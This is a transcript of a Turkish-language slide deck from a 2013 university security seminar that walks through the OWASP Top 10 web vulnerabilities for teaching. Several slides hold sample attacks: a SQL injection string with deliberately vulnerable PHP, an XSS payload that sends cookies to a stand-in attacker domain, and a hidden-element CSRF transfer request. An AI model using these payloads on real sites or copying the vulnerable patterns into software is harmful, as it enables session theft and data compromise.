Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Uygulamalarında Güvenlik

Web Uygulamalarında Güvenlik

Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü Siber Güvenlik Seminerleri

Hidayet Doğan

November 29, 2013
Tweet

More Decks by Hidayet Doğan

Other Decks in Programming

Transcript

  1. Web Uygulamalarında
    Güvenlik
    Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü Siber Güvenlik Seminerleri

    View Slide

  2. Merhaba!
    • Hidayet Doğan
    • http://hi.do
    • @hdogan

    View Slide

  3. Hurafeler
    • “POST” metod daha güvenlidir hacı.
    • “hidden” input kimse tarafından görüntülenemez.
    • Kodu bir tek ben görüyorum, benden başka kimse
    neyin nasıl olduğunu tahmin edemez.

    View Slide

  4. Artizlik
    • Benim işim değil, (sistemcini|veritabancını)n işi.
    • Ben biliyom, en çok ben bilirim, en çok bana
    soracaksınız. Şurdan şöyle girdiler sisteme.

    View Slide

  5. Cahil Cesareti / WTF?
    • Hızlı ve güvenilir ASP(döt)NET kullanılacak.
    • Microfart $QL kullansaydık böyle olmazdı.

    View Slide

  6. Ne gerek var?

    View Slide

  7. Ne gerek var?
    • Saldırıların %70’i altyapıya değil uygulamaya yapılıyor.
    (Gartner)
    • DDoS saldırılarının %25’i uygulamaya yapılıyor.
    (Gartner)
    • Kurumların %73’ü 2 yıl içinde en az 1 defa, web
    uygulamaları üzerinden “hack”leniyor. (Phonemon
    Institute)
    • Altyapıda/ağda yapılacak çözümler uygulamaya saldırı
    yapılmayacak anlamına gelmez.

    View Slide

  8. Eee napcaz?

    View Slide

  9. Oku, Tanı, Takip Et
    • RTFM!
    • Çalıştığın ortam (veritabanı, web sunucusu, işletim
    sistemi)
    • Kullandığın kütüphaneler
    • Yeni birşey var mı? Neyi düzeltmişler?

    View Slide

  10. OWASP
    Open Web Application Security Project
    http://www.owasp.org

    View Slide

  11. OWASP İlk 10
    • Enjeksiyon, sızma (Injection)
    • Bozuk kimlik doğrulama ve oturum yönetimi (Broken Authentication / Session)
    • Cross-Site Scripting (XSS)
    • Güvenlik önlemsiz doğrudan erişim (Insecure Direct Object Reference)
    • Hatalı güvenlik ayarları (Security Misconfiguration)
    • Hassas verilerin ortada bırakılması (Sensitive Data Exposure)
    • Eksik (işlev bazlı) erişim kontrolü (Missing Access Control)
    • Cross-Site Request Forgery (CSRF)
    • Zafiyetleri bilinen bileşenleri kullanmak
    • Kontrolsüz yönlendirmeler (Unvalidated Redirects / Forwards)

    View Slide

  12. Enjeksiyon (Injection)
    • Hedef yorumlayıcı içine sızma.
    • En yaygını SQL Injection.
    • Ziyaretçiden gelen veriyi süzmemek.
    $query = “SELECT * FROM kayitlar WHERE kayit_no = ‘ “ . $_GET[‘kayit_no'] . “ ‘ “;
    ?>
    http://ornek.com/kayit-goster.php?kayit_no=' OR ‘1’ = ‘1

    View Slide

  13. Bozuk Kimlik Doğrulama ve Oturum
    Yönetimi (Broken Authentication / Session)
    • Parolaları veritabanında kabak gibi açıkta tutmak.
    • Zayıf kimlik yönetimi.
    • Adres satırından oturum kimliği iletmek.
    • Zaman aşımsız oturum yönetimi.
    http://ornek.com/benim_hesabim.php?
    SESSIONID=4950ce77b4b73ca33c32e7dc5b8a3e9e

    View Slide

  14. Cross-Site Scripting (XSS)
    • Ziyaretçiden gelen verinin güvenilir olduğunu sanmak.
    • En yaygını JavaScript kodları göndermek.

    ">document.location='http://lAmErbOyZ.kom/oh-yeah.jsp?<br/>veriler='+document.cookie;

    View Slide

  15. Güvenlik Önlemsiz Doğrudan Erişim
    (Insecure Direct Object Reference)
    • Sadece kullanıcıdan gelen veri ile hareket etmek.
    • Talep edilen veri gerçekten ziyaretçiye mi ait?
    $query = "SELECT * FROM sepetler WHERE hesap_no = " . intval($_GET['hesap_no']);
    ?>
    http://ornek.com/alisveris_sepetim.php?hesap_no=123

    View Slide

  16. Hatalı Güvenlik Ayarları
    (Security Misconfiguration)
    • Güncel olmayan sürümlerin kullanılması
    • Gereksiz (kullanılmayan) özelliklerin açık bırakılması
    • Öntanımlı hesapların, parolaların bırakılması
    • Hata, ayıklama (debug) raporlarının ziyaretçiler
    tarafından görünür olarak bırakılması

    View Slide

  17. Hassas Verilerin Ortada Bırakılması
    (Sensitive Data Exposure)
    • Hassas verileri açık şekilde aktarmak, saklamak.
    • Eski / dandik şifreleme algoritlamaları kullanmak.

    View Slide

  18. Cross-Site Request Forgery
    (CSRF)
    • Ziyaretçiyi taklit etmek.
    • Ziyaretçiden habersiz direktifler göndermek.
    kimden=Engür&
    kime=lAmErbOyZ&
    miktar=8" width="0" height="0">

    View Slide

  19. Zafiyetleri Bilinen Bileşenler
    Kullanmak
    • Eceli gelen köpüş cami duvarına …
    • A: Güncelleme geldi sahip.

    B: Önemli birşey yoktur, yarın bakarım.
    • Genellikle otomatik tarayıcılar sizi gelir bulur.
    • Takip Et: Common Vulnerabilities and Exposures
    (CVE)
    • http://cve.mitre.org

    View Slide

  20. Kontrolsüz Yönlendirmeler
    (Unvalidated Redirects / Forwards)
    • Ziyaretçiler gerçekten tahmin ettiğin gibi senin
    uygulaman içinde bir yere mi yönlendiriliyorlar?
    if ($giris == 'tamam') {
    header("Location: $adres");
    }
    ?>

    View Slide

  21. Teşekkürler
    • http://www.owasp.org
    • http://cve.mitre.org
    • http://websec.io

    View Slide